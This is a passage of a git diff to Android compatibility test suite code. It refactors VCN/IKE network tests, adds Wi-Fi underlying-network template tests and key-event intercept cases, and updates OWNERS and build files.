-        return vcnNetwork;
+        return new VcnSetupResult(vcnNetwork, ikeExchangePortPair);
     }
 
-    private void injectAndVerifyIkeSessionNegotiationPackets(@NonNull IkeTunUtils ikeTunUtils)
+    private VcnSetupResult setupAndGetVcnNetwork(
+            @NonNull ParcelUuid subGrp,
+            @NonNull Network cellNetwork,
+            @NonNull VcnTestNetworkCallback cellNetworkCb,
+            @NonNull TestNetworkWrapper testNetworkWrapper)
+            throws Exception {
+        return setupAndGetVcnNetwork(
+                subGrp, cellNetwork, cellNetworkCb, buildTestModeVcnConfig(), testNetworkWrapper);
+    }
+
+    private PortPair injectAndVerifyIkeSessionNegotiationPackets(@NonNull IkeTunUtils ikeTunUtils)
             throws Exception {
         // Generated by forcing IKE to use Test Mode (RandomnessFactory#mIsTestModeEnabled) and
         // capturing IKE packets with a live server.
@@ -519,11 +697,14 @@
                 false /* expectedUseEncap */,
                 ikeInitResp);
 
-        ikeTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                1 /* expectedMsgId */,
-                true /* expectedUseEncap */,
-                ikeAuthResp);
+        byte[] ikeAuthReqPkt =
+                ikeTunUtils.awaitReqAndInjectResp(
+                        IKE_DETERMINISTIC_INITIATOR_SPI,
+                        1 /* expectedMsgId */,
+                        true /* expectedUseEncap */,
+                        ikeAuthResp);
+
+        return IkeTunUtils.getSrcDestPortPair(ikeAuthReqPkt);
     }
 
     private void clearVcnConfigsAndVerifyNetworkTeardown(
@@ -554,55 +735,28 @@
     public void testVcnMigrationAfterNetworkDies() throws Exception {
         final int subId = verifyAndGetValidDataSubId();
 
-        mTestNetworkWrapper =
-                new TestNetworkWrapper(
-                        mContext,
-                        TEST_NETWORK_MTU,
-                        true /* isMetered */,
-                        Collections.singleton(subId),
-                        LOCAL_ADDRESS);
-        assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
+        try (TestNetworkWrapper testNetworkWrapper =
+                createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                final VcnSetupResult vcnSetupResult =
+                    setupAndGetVcnNetwork(subGrp, cellNetwork, cellNetworkCb, testNetworkWrapper);
 
-        // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
-        // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
-        final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
-        mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
-        final Network cellNetwork = cellNetworkCb.waitForAvailable();
-        assertNotNull("No cell network found", cellNetwork);
+                testNetworkWrapper.close();
+                testNetworkWrapper.vcnNetworkCallback.waitForLost();
 
-        CarrierPrivilegeUtils.withCarrierPrivilegesForShell(mContext, subId, () -> {
-            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, subId, (subGrp) -> {
-                final Network vcnNetwork =
-                        setupAndGetVcnNetwork(subGrp, cellNetwork, cellNetworkCb);
-
-                mTestNetworkWrapper.close();
-                mTestNetworkWrapper.vcnNetworkCallback.waitForLost();
-
-                final TestNetworkWrapper secondaryTestNetworkWrapper =
-                        new TestNetworkWrapper(
-                                mContext,
-                                TEST_NETWORK_MTU,
-                                true /* isMetered */,
-                                Collections.singleton(subId),
-                                SECONDARY_LOCAL_ADDRESS);
-
+            try (TestNetworkWrapper secondaryTestNetworkWrapper =
+                    createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
                 try {
-                    assertNotNull("No test network found", secondaryTestNetworkWrapper.tunNetwork);
-
                     injectAndVerifyIkeMobikePackets(secondaryTestNetworkWrapper.ikeTunUtils);
 
-                    clearVcnConfigsAndVerifyNetworkTeardown(subGrp, cellNetworkCb, vcnNetwork);
+                    clearVcnConfigsAndVerifyNetworkTeardown(
+                            subGrp, cellNetworkCb, vcnSetupResult.vcnNetwork);
                 } finally {
                     secondaryTestNetworkWrapper.close();
                 }
+            }
             });
-        });
-
-        mConnectivityManager.unregisterNetworkCallback(cellNetworkCb);
+        }
     }
 
     private void injectAndVerifyIkeMobikePackets(@NonNull IkeTunUtils ikeTunUtils)
@@ -647,61 +801,70 @@
                 ikeDeleteChildResp);
     }
 
+    private void injectAndVerifyIkeDpdPackets(
+            @NonNull IkeTunUtils ikeTunUtils, PortPair localRemotePorts) throws Exception {
+        // Generated by forcing IKE to use Test Mode (RandomnessFactory#mIsTestModeEnabled) and
+        // capturing IKE packets with a live server.
+        final String ikeDpdRequestHex =
+                "46b8eca1e0d72a189b9f8e0158e1c0a52E202500000000000000004c00000030"
+                        + "3A31D5FAC230FEA67246B0C1A049A28944C341301979EB7B52FC669274B77D5F"
+                        + "A6CFE8D768CF390536436D08";
+
+        byte[] ikeDpdRequest =
+                IkeTunUtils.buildIkePacket(
+                        REMOTE_ADDRESS,
+                        LOCAL_ADDRESS,
+                        localRemotePorts.dstPort,
+                        localRemotePorts.srcPort,
+                        true /* useEncap */,
+                        hexStringToByteArray(ikeDpdRequestHex));
+
+        ikeTunUtils.injectPacket(ikeDpdRequest);
+        ikeTunUtils.awaitResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                0 /* expectedMsgId */,
+                true /* expectedUseEncap */);
+    }
+
     @Test
     public void testVcnSafemodeOnTestNetwork() throws Exception {
         final int subId = verifyAndGetValidDataSubId();
 
-        mTestNetworkWrapper =
-                new TestNetworkWrapper(
-                        mContext,
-                        TEST_NETWORK_MTU,
-                        true /* isMetered */,
-                        Collections.singleton(subId),
-                        LOCAL_ADDRESS);
-        assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
-
-        // Before the VCN starts, the test network should have NOT_VCN_MANAGED
-        verifyExpectedUnderlyingNetworkCapabilities(
-                true /* expectNotVcnManaged */, false /* expectNotMetered */);
-
-        // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
-        // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
-        final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
-        mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
-        final Network cellNetwork = cellNetworkCb.waitForAvailable();
-        assertNotNull("No cell network found", cellNetwork);
-
-        CarrierPrivilegeUtils.withCarrierPrivilegesForShell(mContext, subId, () -> {
-            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, subId, (subGrp) -> {
-                final Network vcnNetwork =
-                        setupAndGetVcnNetwork(subGrp, cellNetwork, cellNetworkCb);
+        try (TestNetworkWrapper testNetworkWrapper =
+                createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+            // Before the VCN starts, the test network should have NOT_VCN_MANAGED
+            waitForExpectedUnderlyingNetworkWithCapabilities(
+                    testNetworkWrapper,
+                    true /* expectNotVcnManaged */,
+                    false /* expectNotMetered */,
+                    TestNetworkWrapper.NETWORK_CB_TIMEOUT_MS);
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                final VcnSetupResult vcnSetupResult =
+                    setupAndGetVcnNetwork(subGrp, cellNetwork, cellNetworkCb, testNetworkWrapper);
 
                 // TODO(b/191801185): use VcnStatusCallbacks to verify safemode
 
                 // Once VCN starts, the test network should lose NOT_VCN_MANAGED
-                verifyExpectedUnderlyingNetworkCapabilities(
+                waitForExpectedUnderlyingNetworkWithCapabilities(
+                        testNetworkWrapper,
                         false /* expectNotVcnManaged */,
-                        false /* expectNotMetered */);
+                        false /* expectNotMetered */,
+                        TestNetworkWrapper.NETWORK_CB_TIMEOUT_MS);
 
-                // After VCN has started up, wait for safemode to kick in and expect the underlying
-                // Test Network to regain NOT_VCN_MANAGED.
-                verifyExpectedUnderlyingNetworkCapabilities(
+                // After VCN has started up, wait for safemode to kick in and expect the
+                // underlying Test Network to regain NOT_VCN_MANAGED.
+                waitForExpectedUnderlyingNetworkWithCapabilities(
+                        testNetworkWrapper,
                         true /* expectNotVcnManaged */,
                         false /* expectNotMetered */,
                         SAFEMODE_TIMEOUT_MILLIS);
 
                 // Verify that VCN Network is also lost in safemode
                 final Network lostVcnNetwork = cellNetworkCb.waitForLost();
-                assertEquals(vcnNetwork, lostVcnNetwork);
+                assertEquals(vcnSetupResult.vcnNetwork, lostVcnNetwork);
 
                 mVcnManager.clearVcnConfig(subGrp);
             });
-        });
-
-        mConnectivityManager.unregisterNetworkCallback(cellNetworkCb);
+        }
     }
 }
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java
index d7485b1..ce48e2d 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnTestBase.java
@@ -24,6 +24,7 @@
 import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_128;
 import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_AES128_CMAC;
 
+import android.net.InetAddresses;
 import android.net.ipsec.ike.ChildSaProposal;
 import android.net.ipsec.ike.IkeFqdnIdentification;
 import android.net.ipsec.ike.IkeSaProposal;
@@ -31,7 +32,12 @@
 import android.net.ipsec.ike.IkeTunnelConnectionParams;
 import android.net.ipsec.ike.TunnelModeChildSessionParams;
 
+import java.net.InetAddress;
+
 public class VcnTestBase {
+    protected static final InetAddress REMOTE_ADDRESS =
+            InetAddresses.parseNumericAddress("192.0.2.1");
+
     protected static IkeTunnelConnectionParams buildTunnelConnectionParams() {
         final IkeSessionParams ikeParams = getIkeSessionParamsBase().build();
         return buildTunnelConnectionParams(ikeParams);
@@ -61,13 +67,12 @@
                         .build();
 
         // TODO: b/192610392 Improve VcnManagerTest CTS by adding IPv6 test case.
-        final String serverHostname = "192.0.2.1";
         final String testLocalId = "client.test.ike.android.net";
         final String testRemoteId = "server.test.ike.android.net";
         final byte[] psk = "ikeAndroidPsk".getBytes();
 
         return new IkeSessionParams.Builder()
-                .setServerHostname(serverHostname)
+                .setServerHostname(REMOTE_ADDRESS.getHostAddress())
                 .addSaProposal(ikeProposal)
                 .setLocalIdentification(new IkeFqdnIdentification(testLocalId))
                 .setRemoteIdentification(new IkeFqdnIdentification(testRemoteId))
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnUnderlyingNetworkTemplateTestBase.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnUnderlyingNetworkTemplateTestBase.java
new file mode 100644
index 0000000..fccc996
--- /dev/null
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnUnderlyingNetworkTemplateTestBase.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.vcn.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.net.vcn.VcnUnderlyingNetworkTemplate;
+
+public class VcnUnderlyingNetworkTemplateTestBase {
+    protected static final int MIN_ENTRY_DOWN_BANDWIDTH_KBPS = 4000;
+    protected static final int MIN_EXIT_DOWN_BANDWIDTH_KBPS = 3000;
+    protected static final int MIN_ENTRY_UP_BANDWIDTH_KBPS = 2000;
+    protected static final int MIN_EXIT_UP_BANDWIDTH_KBPS = 1000;
+
+    protected static void verifyBandwidthsWithTestValues(
+            VcnUnderlyingNetworkTemplate networkTemplate) {
+        assertEquals(
+                MIN_ENTRY_DOWN_BANDWIDTH_KBPS,
+                networkTemplate.getMinEntryDownstreamBandwidthKbps());
+        assertEquals(
+                MIN_EXIT_DOWN_BANDWIDTH_KBPS, networkTemplate.getMinExitDownstreamBandwidthKbps());
+        assertEquals(
+                MIN_ENTRY_UP_BANDWIDTH_KBPS, networkTemplate.getMinEntryUpstreamBandwidthKbps());
+        assertEquals(MIN_EXIT_UP_BANDWIDTH_KBPS, networkTemplate.getMinExitUpstreamBandwidthKbps());
+    }
+
+    protected static void verifyBandwidthsWithDefaultValues(
+            VcnUnderlyingNetworkTemplate networkTemplate) {
+        assertEquals(0, networkTemplate.getMinEntryDownstreamBandwidthKbps());
+        assertEquals(0, networkTemplate.getMinEntryDownstreamBandwidthKbps());
+        assertEquals(0, networkTemplate.getMinEntryUpstreamBandwidthKbps());
+        assertEquals(0, networkTemplate.getMinEntryUpstreamBandwidthKbps());
+    }
+}
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnWifiUnderlyingNetworkTemplateTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnWifiUnderlyingNetworkTemplateTest.java
new file mode 100644
index 0000000..d14dcf4
--- /dev/null
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnWifiUnderlyingNetworkTemplateTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.net.vcn.cts;
+
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_ANY;
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_FORBIDDEN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.net.vcn.VcnWifiUnderlyingNetworkTemplate;
+
+import org.junit.Test;
+
+import java.util.HashSet;
+import java.util.Set;
+
+public class VcnWifiUnderlyingNetworkTemplateTest extends VcnUnderlyingNetworkTemplateTestBase {
+    private static final Set<String> SSIDS = Set.of("TestWifi");
+
+    // Package private for use in VcnGatewayConnectionConfigTest
+    static VcnWifiUnderlyingNetworkTemplate getTestNetworkTemplate() {
+        return new VcnWifiUnderlyingNetworkTemplate.Builder()
+                .setMetered(MATCH_FORBIDDEN)
+                .setSsids(SSIDS)
+                .setMinDownstreamBandwidthKbps(
+                        MIN_ENTRY_DOWN_BANDWIDTH_KBPS, MIN_EXIT_DOWN_BANDWIDTH_KBPS)
+                .setMinUpstreamBandwidthKbps(
+                        MIN_ENTRY_UP_BANDWIDTH_KBPS, MIN_EXIT_UP_BANDWIDTH_KBPS)
+                .build();
+    }
+
+    @Test
+    public void testBuilderAndGetters() {
+        final VcnWifiUnderlyingNetworkTemplate networkTemplate = getTestNetworkTemplate();
+        assertEquals(MATCH_FORBIDDEN, networkTemplate.getMetered());
+        assertEquals(SSIDS, networkTemplate.getSsids());
+        verifyBandwidthsWithTestValues(networkTemplate);
+    }
+
+    @Test
+    public void testBuilderAndGettersForDefaultValues() {
+        final VcnWifiUnderlyingNetworkTemplate networkTemplate =
+                new VcnWifiUnderlyingNetworkTemplate.Builder().build();
+        assertEquals(MATCH_ANY, networkTemplate.getMetered());
+        assertEquals(new HashSet<String>(), networkTemplate.getSsids());
+        verifyBandwidthsWithDefaultValues(networkTemplate);
+    }
+
+    @Test
+    public void testBuildWithEmptySets() {
+        final VcnWifiUnderlyingNetworkTemplate networkTemplate =
+                new VcnWifiUnderlyingNetworkTemplate.Builder()
+                        .setSsids(new HashSet<String>())
+                        .build();
+        assertEquals(new HashSet<String>(), networkTemplate.getSsids());
+    }
+
+    @Test
+    public void testBuildWithNullSsids() {
+        try {
+            new VcnWifiUnderlyingNetworkTemplate.Builder().setSsids(null);
+            fail("Expect to fail due to the null argument");
+        } catch (Exception expected) {
+        }
+    }
+
+    @Test
+    public void testBuildWithInvalidDownstreamBandwidth() {
+        try {
+            new VcnWifiUnderlyingNetworkTemplate.Builder()
+                    .setMinDownstreamBandwidthKbps(
+                            MIN_ENTRY_DOWN_BANDWIDTH_KBPS, MIN_ENTRY_DOWN_BANDWIDTH_KBPS + 1);
+            fail("Expect to fail because entry bandwidth is smaller than exit bandwidth");
+        } catch (Exception expected) {
+        }
+    }
+
+    @Test
+    public void testBuildWithInvalidUpstreamBandwidth() {
+        try {
+            new VcnWifiUnderlyingNetworkTemplate.Builder()
+                    .setMinUpstreamBandwidthKbps(
+                            MIN_ENTRY_UP_BANDWIDTH_KBPS, MIN_ENTRY_UP_BANDWIDTH_KBPS + 1);
+            fail("Expect to fail because entry bandwidth is smaller than exit bandwidth");
+        } catch (Exception expected) {
+        }
+    }
+}
diff --git a/tests/tests/view/OWNERS b/tests/tests/view/OWNERS
index 7074017..9039033 100644
--- a/tests/tests/view/OWNERS
+++ b/tests/tests/view/OWNERS
@@ -1,6 +1,20 @@
 # Bug component: 25700
 adamp@google.com
-shepshapard@google.com
 clarabayarri@google.com
 jreck@google.com
-njawad@google.com
\ No newline at end of file
+njawad@google.com
+svv@google.com
+
+# Core Graphics Stack tests
+# Buganizer template url: https://b.corp.google.com/issues/new?component=1075130&template=1595188 = per-file *TextureView*.java, *PixelCopy*.java
+# Bug component: 1075130 = per-file *TextureView*.java, *PixelCopy*.java
+per-file *TextureView*.java, *PixelCopy*.java = jreck@google.com, njawad@google.com, sumir@google.com
+
+# WindowManager tests
+# Buganizer template url: https://b.corp.google.com/issues/new?component=316245&template=1018194 = per-file ASurfaceControlBackPressureTest.java, ASurfaceControlTest.java, AttachedSurfaceControlSyncTest.java, AttachedSurfaceControlTest.java, SurfaceViewSyncTest.java
+# Bug component: 316245 = per-file ASurfaceControlBackPressureTest.java, ASurfaceControlTest.java, AttachedSurfaceControlSyncTest.java, AttachedSurfaceControlTest.java, SurfaceViewSyncTest.java
+per-file ASurfaceControlBackPressureTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+per-file ASurfaceControlTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+per-file AttachedSurfaceControlSyncTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+per-file AttachedSurfaceControlTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+per-file SurfaceViewSyncTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index bf73550..b0a882c 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -41,6 +41,9 @@
  *      KEYCODE_ASSIST
  *      KEYCODE_VOICE_ASSIST
  *      KEYCODE_HOME
+ *      KEYCODE_VIDEO_APP_X
+ *      KEYCODE_FEATURED_APP_X
+ *      KEYCODE_DEMO_APP_X
  * This test launches an Activity and injects KeyEvents with the corresponding key codes.
  * The test will fail if any of these keys are received by the activity.
  * Note: The ASSIST tests were removed because they caused a side-effect of launching the
@@ -76,6 +79,26 @@
     }
 
     @Test
+    public void testKeyCodesForLaunchingApplications() {
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_1);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_2);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_3);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_4);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_5);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_6);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_7);
+        testKey(KeyEvent.KEYCODE_VIDEO_APP_8);
+        testKey(KeyEvent.KEYCODE_FEATURED_APP_1);
+        testKey(KeyEvent.KEYCODE_FEATURED_APP_2);
+        testKey(KeyEvent.KEYCODE_FEATURED_APP_3);
+        testKey(KeyEvent.KEYCODE_FEATURED_APP_4);
+        testKey(KeyEvent.KEYCODE_DEMO_APP_1);
+        testKey(KeyEvent.KEYCODE_DEMO_APP_2);
+        testKey(KeyEvent.KEYCODE_DEMO_APP_3);
+        testKey(KeyEvent.KEYCODE_DEMO_APP_4);
+    }
+
+    @Test
     public void testKeyCodeHomeShortcutLeftMeta() {
         testKeyCodeHomeShortcut(KeyEvent.META_META_LEFT_ON | KeyEvent.META_META_ON);
     }
diff --git a/tests/tests/view/src/android/view/cts/OWNERS b/tests/tests/view/src/android/view/cts/OWNERS
index 1e360f7..b7cb836 100644
--- a/tests/tests/view/src/android/view/cts/OWNERS
+++ b/tests/tests/view/src/android/view/cts/OWNERS
@@ -1,4 +1,7 @@
+per-file ASurfaceControlBackPressureTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
 per-file ASurfaceControlTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+per-file AttachedSurfaceControlSyncTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+per-file AttachedSurfaceControlTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
 per-file SurfaceViewSyncTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
 
 per-file *ScrollCapture*.java = file:platform/frameworks/base:/packages/SystemUI/src/com/android/systemui/screenshot/OWNERS
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 8a1f853..68c6f70 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -752,6 +752,9 @@
     public void testVideoProducer() throws InterruptedException {
         PixelCopyVideoSourceActivity activity =
                 mVideoSourceActivityRule.launchActivity(null);
+
+        Thread.sleep(2000);
+
         if (!activity.canPlayVideo()) {
             Log.i(TAG, "Skipping testVideoProducer, video codec isn't supported");
             return;
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 5e84c79..903e1cf 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -836,15 +836,18 @@
         waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
+        injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, 0);
         waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
+        injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, jitterHigh);
         waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
 
         // Jitter below threshold should be ignored and the tooltip should be shown.
+        injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, 0);
         waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
@@ -859,6 +862,7 @@
         injectShortClick(mTooltipView);
         assertFalse(hasTooltip(mTooltipView));
 
+        injectShortClick(mTooltipView);
         injectHoverMove(source, mTooltipView, 0, 0);
         waitOut(quaterTimeout);
         assertFalse(hasTooltip(mTooltipView));
diff --git a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
index 514753c..fa4833c 100644
--- a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
@@ -37,6 +37,7 @@
 import android.app.Instrumentation;
 import android.graphics.Bitmap;
 import android.graphics.Color;
+import android.support.test.uiautomator.UiDevice;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
@@ -398,6 +399,11 @@
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mButtonCancel);
         assertEquals("", mEditText.getText().toString());
 
+        // Wait for the UI Thread to become idle.
+        final UiDevice device = UiDevice.getInstance(mInstrumentation);
+        mInstrumentation.waitForIdleSync();
+        device.waitForIdle();
+
         // click the OK button
         mActivityRule.runOnUiThread(() -> mEditText.setText(ARGENTINA));
         mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/view/src/android/view/cts/input/OWNERS b/tests/tests/view/src/android/view/cts/input/OWNERS
index 50445ea..c88bfe9 100644
--- a/tests/tests/view/src/android/view/cts/input/OWNERS
+++ b/tests/tests/view/src/android/view/cts/input/OWNERS
@@ -1,4 +1 @@
-# Bug component: 136048
-lzye@google.com
-michaelwr@google.com
-svv@google.com
\ No newline at end of file
+include platform/frameworks/base:/INPUT_OWNERS
diff --git a/tests/tests/view/src/android/view/cts/util/OWNERS b/tests/tests/view/src/android/view/cts/util/OWNERS
new file mode 100644
index 0000000..647facc
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/OWNERS
@@ -0,0 +1 @@
+per-file ASurfaceControlTestUtils.java = file:platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
diff --git a/tests/tests/virtualdevice/OWNERS b/tests/tests/virtualdevice/OWNERS
new file mode 100644
index 0000000..cf24b59
--- /dev/null
+++ b/tests/tests/virtualdevice/OWNERS
@@ -0,0 +1,9 @@
+# Bug component: 1172134
+
+# primary owner
+yukl@google.com
+
+# other owners
+asargent@google.com
+ogunwale@google.com
+tkourim@google.com
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
index 6a6da3f..fbd229c 100644
--- a/tests/tests/voiceRecognition/Android.bp
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -35,4 +35,8 @@
     srcs: ["src/**/*.java"],
     resource_dirs: ["res"],
     sdk_version: "test_current",
+    data: [
+        ":CtsVoiceRecognitionService",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/voiceRecognition/OWNERS b/tests/tests/voiceRecognition/OWNERS
index 88d73a9..fac43c0 100644
--- a/tests/tests/voiceRecognition/OWNERS
+++ b/tests/tests/voiceRecognition/OWNERS
@@ -1,7 +1,8 @@
 # Bug component: 533220
-adamhe@google.com
-augale@google.com
-joannechung@google.com
-lpeter@google.com
-svetoslavganov@google.com
-tymtsai@google.com
+volnov@google.com
+andreaambu@google.com
+eugeniom@google.com
+schfan@google.com
+
+# Framework team as backup
+include platform/frameworks/base:/core/java/android/service/voice/OWNERS
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index 8ef6608..b847f7f 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -43,4 +43,10 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsNoRecognitionVoiceInteractionService",
+        ":CtsVoiceInteractionApp",
+        ":CtsVoiceInteractionService",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/voiceinteraction/OWNERS b/tests/tests/voiceinteraction/OWNERS
index 88d73a9..8352b6f 100644
--- a/tests/tests/voiceinteraction/OWNERS
+++ b/tests/tests/voiceinteraction/OWNERS
@@ -1,7 +1,3 @@
 # Bug component: 533220
-adamhe@google.com
-augale@google.com
-joannechung@google.com
-lpeter@google.com
-svetoslavganov@google.com
-tymtsai@google.com
+
+include platform/frameworks/base:/core/java/android/service/voice/OWNERS
diff --git a/tests/tests/voiceinteraction/TEST_MAPPING b/tests/tests/voiceinteraction/TEST_MAPPING
index 50cc659d..b22a259 100644
--- a/tests/tests/voiceinteraction/TEST_MAPPING
+++ b/tests/tests/voiceinteraction/TEST_MAPPING
@@ -8,5 +8,15 @@
         }
       ]
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsVoiceInteractionTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
   ]
 }
diff --git a/tests/tests/voicesettings/Android.bp b/tests/tests/voicesettings/Android.bp
index 341a533..f682207 100644
--- a/tests/tests/voicesettings/Android.bp
+++ b/tests/tests/voicesettings/Android.bp
@@ -34,4 +34,8 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsVoiceSettingsService",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/voicesettings/OWNERS b/tests/tests/voicesettings/OWNERS
index 88d73a9..8352b6f 100644
--- a/tests/tests/voicesettings/OWNERS
+++ b/tests/tests/voicesettings/OWNERS
@@ -1,7 +1,3 @@
 # Bug component: 533220
-adamhe@google.com
-augale@google.com
-joannechung@google.com
-lpeter@google.com
-svetoslavganov@google.com
-tymtsai@google.com
+
+include platform/frameworks/base:/core/java/android/service/voice/OWNERS
diff --git a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
index 2843011..5204f56 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
@@ -28,8 +28,6 @@
 import org.junit.Test;
 
 public final class PacProcessorTest {
-    private static final String TAG = "PacProcessorCtsTest";
-    private static final long REMOTE_TIMEOUT_MS = 5000;
 
     private TestProcessClient mProcess;
 
@@ -48,21 +46,22 @@
             Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
             Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
 
